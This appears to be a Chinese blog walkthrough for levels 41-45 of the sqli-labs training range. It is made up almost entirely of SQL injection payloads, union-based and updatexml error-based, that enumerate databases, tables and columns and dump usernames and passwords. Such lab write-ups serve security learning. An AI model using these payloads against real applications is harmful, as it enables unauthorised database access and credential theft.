sqli-labs靶场通关攻略 41-45

主页有sqli-labs靶场通关攻略 1-40

第四一关 less-41

​

步骤一：查询闭合方式

?id=1 --+

​

步骤二：查询数据库

?id=-1 union select 1,2,database()--+

​

步骤三：查看表名

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

​

步骤四：查看users表列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

​

步骤五：查看users表信息

?id=-1 union select 1,2,group_concat(id,username,password) from users --+

​

第四二关 less-42

​

步骤一：登录页面

​

步骤二：查询数据库

密码框输入：'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

​

步骤三：查看表名

密码框输入：'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

步骤四：查看users表列名

密码框输入：'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_sche ma.columns where table_name='users' ),0x7e),1) -- aaa

  

第四三关 less-43

步骤一：登录页面

  

步骤二：查询数据库

密码框输入：') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

  

步骤三：查看表名

密码框输入：') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

  

步骤四：查看users表列名

密码框输入：') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

  

第四四关 less-44

步骤一：登录页面

  

步骤二：查询数据库

密码框输入：1' union select 1,database(),3 #

  

步骤三：查看表名

密码框输入：1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

  

步骤四：查看users表列名

密码框输入：1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

  

步骤五：查看表中信息

1' union select 1,group_concat(username,password),3 from users #

  

第四五关 less-45

步骤一：登录页面

  

步骤二：查询数据库

密码框输入：1') union select 1,database(),3 #

  

步骤三：查看表名

密码框输入：1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #  

步骤四：查看users表列名

密码框输入：1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #